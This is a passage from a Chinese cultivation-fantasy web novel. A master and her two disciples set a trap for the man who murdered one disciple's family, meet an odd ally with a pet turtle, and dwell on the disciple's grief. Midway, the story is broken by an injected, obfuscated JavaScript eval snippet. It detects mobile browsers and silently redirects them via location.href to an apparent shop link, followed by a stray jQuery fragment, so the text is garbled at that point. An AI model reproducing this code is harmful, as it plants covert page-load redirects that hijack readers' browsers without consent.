“你干嘛!!!我的头是能随便揉的吗?!”
江云流连忙叫着跳开。
孟桃指指点点:“你这几天就为了这个?那你怎么不告诉我们偏要一个人硬抗?出事了怎么办?要是我们联系不上你怎么办?我怕好歹是你师尊这么大个事你一句话不说……”
江云流:“不是,你别骂!我也是今天才发现狐族找到这了,我们无意间碰上的,他们实力不强。”
“实力不强?居然还追到这里来了么。”
“是狐族在天枢城的眼线,再加上刘老板说之前我们去黑市那天他们杀了四个狐族人,所以我们的行程应该暂时瞒住了。”
江云流觑着孟桃放松下来的神情,心里也默默松了一口气。
之前他一直担心自己会引来追杀的妖族给孟桃带来麻烦,好在现在总算是能稳定一点了。
孟桃并不想这么放过他,又问道:“那你前几天天天早出晚归的干什么去了?”
要是让她发现孩子危害社会去了他就完了!
“你问这几天啊……”江云流忽然目光游离,耳尖慢慢染上一点薄红,“天枢城有专门接悬赏令的地方,我去协助破了几个悬案。”
孟桃惊讶:“你居然知道赚钱了呀!”
不愧是她的徒弟!
江云流:“是,也不是……”
孟桃:“少磨磨唧唧的,要说快点说。”
江云流的耳朵更红了,那抹红甚至蔓延到了他原本白皙的脖颈。
他侧过身,孟桃这才发现他背后背着一个破布条包裹着的长条物体。
江云流将长条物体拿在手上,磨磨蹭蹭揭开布条——两把长剑,一把银白色地级,一把灰黑色玄级。
孟桃看了眼剑,又抬眼看他,眨了眨眼:“这是什么意思?”
江云流一张白皙俊俏的脸都憋红了,一把拿起银白色的长剑塞到孟桃手中,嘟囔道:“还你的剑,我可不是没诚信的人。”
想了想,他又补充一句:“这把虽然只是地级,但是比你之前的那把破剑好多了。”
孟桃挑了挑眉,从剑鞘中拔出长剑,霜白锋利的剑刃倒映出她含笑的眉眼,其中眼神如清波荡漾,点点亮光。
“那为师就不客气了,谢谢果然诚实守信的好大徒。”
孟桃在现代时鼓励学生的次数多到数不清,因此一切对于感谢和夸奖向来坦坦荡荡,毫不掩饰。
可江云流很少收到长辈如此直白的夸夸,脸上又红了几分,颇为别扭的偏过头。
孟桃瞥见他手里的另一把剑,心下了然,先一步走回了屋,将小院的一角留给两个徒弟。
江云流余光看着她的背影,转头看向季明遥,然后一鼓作气将剑递给他,干巴巴道:
“送你的剑,还有……那日是我不对,我口无遮拦,我道歉。”
季明遥抬起头看他,神色惊诧,但他很快收敛,唇角微微勾起,接过剑。
“谢谢师兄,”他又低下头,声音有些沉,“接下来还要麻烦师兄助我报仇,若以后师兄需要帮助,我定会鼎力支持。”
江云流撇过脑袋,哼了一声:“以后的事以后再说。”
孟桃站在窗户后看着两人的相处,总算放心了一点。
之前两个徒弟初相识就不愉快,她总怕这两人哪天想不开打起来。
接下来三人商量了一下,既然季明渡就在天枢城内,那么他们就便主动引蛇出洞。
这天午后,季明遥背着一把玄级长剑拜别小院,独自前往季家。
他一路小心谨慎,鬼鬼祟祟,像是躲着什么人,而不远处的阴影里,使用了隐匿符篆的孟桃和江云流紧紧跟着他。
季家在城西,本是个繁华热闹的地带,偏偏发生了一桩骇人听闻的邪修灭门案,因此最近没人敢过来。
忽然,季明遥僵立在原地。
孟桃顺着他的视线看过去,看到一座烧得只剩断壁残垣的建筑,大门坍塌,阁楼颓倾,地面上暗红色的血液凝固,好在并没有看见尸体。
季明遥缓缓跪了下去,垂着头,教人看不清他的神色。
江云流看着他,不知道想起了什么,金瞳闪烁。
孟桃在心底默默叹气。
就在这时,一道身影蓦地出现在季明遥身边,转眼就将他掳走,闪进一边的小巷中。
我了个豆!怎么还有抢人的戏码!
孟桃来不及多想,拎起江云流御剑而起,二话不说追了上去。
还好之前她熟读剑诀,现在修为也达到了修真界中下水平,所以即使这是第一次御剑起飞,她也游刃有余。
来人抓着季明遥的一只手腕停在了巷子深处,孟桃也落了下去,右手顺势握住剑柄轻盈一挑,再抬手时寒锋已经抵在了那人的脖颈上。
一套动作行云流水,灵力通达。
“师尊!”
“你是何人?!”
两道声音同时响起,一道清冽一道浑厚。
孟桃这才注意到面前这人是个三十多岁的男人,身高如小山,长相粗犷,外貌凶恶,却穿着一身翠绿色衣袍。
她正要说话,忽地发现男人肩膀的布料下有什么东西在耸动,江云流同样注意到了,抢过季明遥的剑轻轻一挑。
男人一把捂住露出来的肩膀,满脸惊恐:“……你们到底是干嘛的?!”
而破碎的衣料下,缓缓露出了一个乌龟脑袋,俩眼睛小虽小,却目光炯炯,静静环视了一圈众人。
孟桃:“……”
江云流:“……”
师徒俩默默对视了一眼。
季明遥连忙拨开两方人,对孟桃歉意道:“师尊,这是我的朋友,不是坏人。”
他又转向壮汉:“小玉,这是我的师尊和师兄,他们是好人。”
男人狐疑的打量孟桃和江云流两眼,看两人一身正气也稍稍放下了心,粗声粗气的说道:“哦哦,误会了。前辈,晚辈赵玉,如花似玉的玉,是中州茸茸门掌门的亲传三弟子。”
孟桃觉得自己的听力系统好像出现了一点问题。
哪个玉?如花似玉怎么写来着?
至于茸茸门……听起来是很萌。
但是!这都和眼前这个身高一米九、浑身肌肉、相貌粗犷的男人很不符啊喂!
孟桃嘴角抽了抽,问道:“嗯……敢问赵道友年岁几何?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568862|204861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵玉:“晚辈今年十六。”
哈哈,原来叫前辈是因为对方真的和好二徒一辈啊。
不过据她所知,茸茸门是修真界门派综合实力第七的大门派,虽然全师门以御兽为主,但也不乏有天资聪颖的弟子和实力强劲的契约妖兽,因此在仙门大比中也算战力中上。
她正暗自琢磨着,赵玉抱着他的小乌龟说道:“晚辈听说小明家出事了所以匆匆赶来,没想到竟发生了如此恶事!那个季明渡果然不是个好人,歹毒至此,狼心狗肺!”
“而且这几日他总在季府附近徘徊,刚才我看小明一个人在那边,担心他被报复,所以才掳走他的,真是抱歉了。”
“没事没事,”孟桃摆摆手,“我们计划引蛇出洞,将人解决了,你要加入么?”
赵玉没回答,而是低下头摸了摸乌龟的小脑袋,夹着粗犷的声音问:“如花,接下来怎么样?”
孟桃无奈扶额,江云流默默远离,早已习惯的季明遥无动于衷。
只见那只乌龟闭上那双还没绿豆大的眼睛,随后极其缓慢的点了点头。
赵玉喜道:“如花说大吉,小明一定能杀了他报仇的!”
事不迟疑,季明遥再次出现在季家门口,静静站了一会儿后,他竟慢慢抬腿踏了进去。
孟桃三人藏在暗处,四双眼睛紧紧盯着他单薄的身影。
可惜直到傍晚都没有一点动静,季明遥已经看完了整个府邸,坐在他父母屋子前的台阶上发呆。
西边的天空都被渲染成橘粉色,越往下颜色越深,再往下就是黑色的被烧毁的房屋,再往前看,地上的橘红色一直铺展在他脚边,落日的一点余温还落在他身上。
以前每当这时他才练完剑开始休息,而他爹忙着在院里侍弄花花草草,他娘喜欢去隔壁院里逗年纪最小的侄女儿,他哥……阿渡,也终于从紧闭了一整天的房间里走出,笑嘻嘻的去揉搓黄狗的毛。
现在满目萧然,院里的花草树木早就烧成一捧灰烬,他的爹娘叔叔婶婶弟弟妹妹和黄狗都死在了同一把剑下,同一只手中。
为什么呢?
季明遥不明白,一直不明白。
阿渡十六岁家破人亡,重伤流离,是父亲救了他,收养他,待他亲如己出,甚至对待他比对待季明遥这个亲生孩子还要上心。
听他说想学剑,于是为他寻合适的剑谱;听他说想要一只毛茸茸的小宠,于是一向不准儿子养狗的季家主亲自抱了一只小狗送给他;听他抱怨自己没有天资想学医术,于是又放下脸面向高高在上的草药谷求一本医书。
季明遥暗中将这一切看在眼中,他不闹不怨也不恨,因为心疼,于是把“季明渡”这个人当作自己的亲大哥。
父母都说,明渡身世凄惨,爹不疼娘不爱,后来又亲眼目睹父母惨死在眼前,独自流浪了那么长一段时间,现在好不容易遇见了他们,所以他们想把这里变成他的家。
亲眼目睹父母惨死,独自重伤流浪。
一百八十七剑,加上那个剑修前辈的十剑,还有自己身上的十三剑……这一剑又一剑,他都要亲手还给他,用他羡慕的觊觎的憎恶的天生剑骨之躯,送他去黄泉赎罪。